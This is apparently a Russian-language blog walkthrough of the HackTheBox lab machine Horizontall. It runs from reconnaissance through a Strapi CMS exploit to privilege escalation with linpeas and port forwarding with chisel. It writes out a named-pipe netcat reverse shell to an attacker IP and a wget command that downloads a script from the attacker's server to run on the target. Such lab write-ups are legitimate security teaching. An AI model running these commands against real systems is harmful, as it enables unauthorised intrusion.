Начинаю публикацию решений машин с площадки HackTheBox. Надеюсь этот туториал станет небольшой подсказкой тем, кто только начинает свой путь в этичном взломе. Начнем.... Для успешного прохождения необходимо: Знать, что такое эксплойт Уметь "правильно” гуглить В итоге мы узнаем: Как искать точку входа Что нужно для повышения привилегий Почему пробросить порт стало так просто Именно с разведки начинается любая атака на целевую систему. Необходимо понять, что вообще можно атаковать. Используем сканер nmap. nmap -A -sC -sV -Pn 10.10.11.105 -p-. Получили следующее: Любой порт является потенциальной точкой входа, но имея небольшой опыт пребывания на данной площадке могу сказать: "22 порт не наш вариант". Пользователи тут замысловатые и пароли у них серьезные. Наша цель – 80 порт. Едем дальше.. Для начала добавим IP атакаемой машины в файл /etc/hosts, что обращаться по доменному имени.  Отлично! Посетим веб-сайт, может найдем что-нибудь интересное... Рекомендую «бегло» просматривать код страницы. В нем может заваляться чувствительная информация (пароли, версии используемого ПО, полезные ссылки). Далее перебор директорий, но тут, к сожалению dirbuster не справляется... Любая уважающая себя компания будет использовать в своих целях несколько доменов. Это следующее, что необходимо проверить. Машины с HTB находятся в vpn сети, поиск поддоменов через онлайн сервисы к результату точно не приведет. Для этого отлично подойдет утилита wfuzz. wfuzz -w subdomain.txt -u 'http://horizontall.htb/' -H "Host: FUZZ.horizontall.htb" --hc 301 И спустя некоторое время...  Данный поддомен необходимо добавить в файл /etc/hosts и сразу проверить на наличие интересных директорий. gobusterdir -u http://api-prod.horizontall.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x txt,php –e CMS Strapi. Немного погуглить... Точка входа найдена! Применяем эксплойт. python3 50239.py http://api-prod.horizontall.htb/ Экплойт работает, shell есть! Я сразу поднимаю у себя локальный сервер (nc -nvlp 1234) и получаю обратный shell (rm /tmp/f; mknod /tmp/f p;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.10 1234 > /tmp/f). Все обратные shells приведены тут. Я использовал вывод команд через файл (rm /tmp/f;mknod /tmp/f p;cat /tmp/f), так как при обычном подключении (nc 10.10.14.10 1234) вывод команд не отображается. Это связано с настройками целевой системы, а именно с тем, что пользователь strapi по умолчанию не имеет интерактивной оболочки. Для удобства перейдем в bash. python3 -c 'import pty;pty.spawn("/bin/bash")' Для повышения привилегий я использую проект linpeas.sh. Предварительно подняв сервер (python3 -m http.server) и закачав его на атакуемую машину (wget http://10.10.14.10:8000/linpeas.sh). Запускаем скрипт и ждем пару минут sh linpeas,sh Данный скрипт позволяет собирать информацию о системе, версиях используемого ПО, открытых портах и т.д. База данных mysql, а вот на 8000 порту может быть что-то интересное. Итак, мы подошли к самому главному в этой статье. Проброс порта - штука полезная, но немного не понятная.  Раньше я пробрасывал как описано тут. Для успешного проброса необходимо либо найти пароль пользователя, либо настроить свою ssh службу (которая по умолчанию не настроена). Скрипт с задачей справился и нашел пароль, но он, к сожалению не подходит А еще с пробосом через ssh существует море проблем...  Тайминги Пользователю нельзя использовать ssh Подключения логируются За ssh, как правило следят Полазив в интернете, я нашел интересное ПО, которое позволяет пробросить порт за считанные секунды. Встречайте, chisel. Данное ПО состоит из двух компонентов: сервера и клиента. Сервер поднимаем у себя, а клиент на целевой системе. Не забудьте дать клиенту право на исполнение. Получается, что между нашими машинами был создан своего рода туннель. Более подробно об этом можно посмотреть в этом видео. Теперь обратимся к 8001 порту, через localhost. Поиск эксплойта в интернете не занял много времени. Используем. Получаем shell как описано выше. Тачка пройдена! Всем удачного взлома.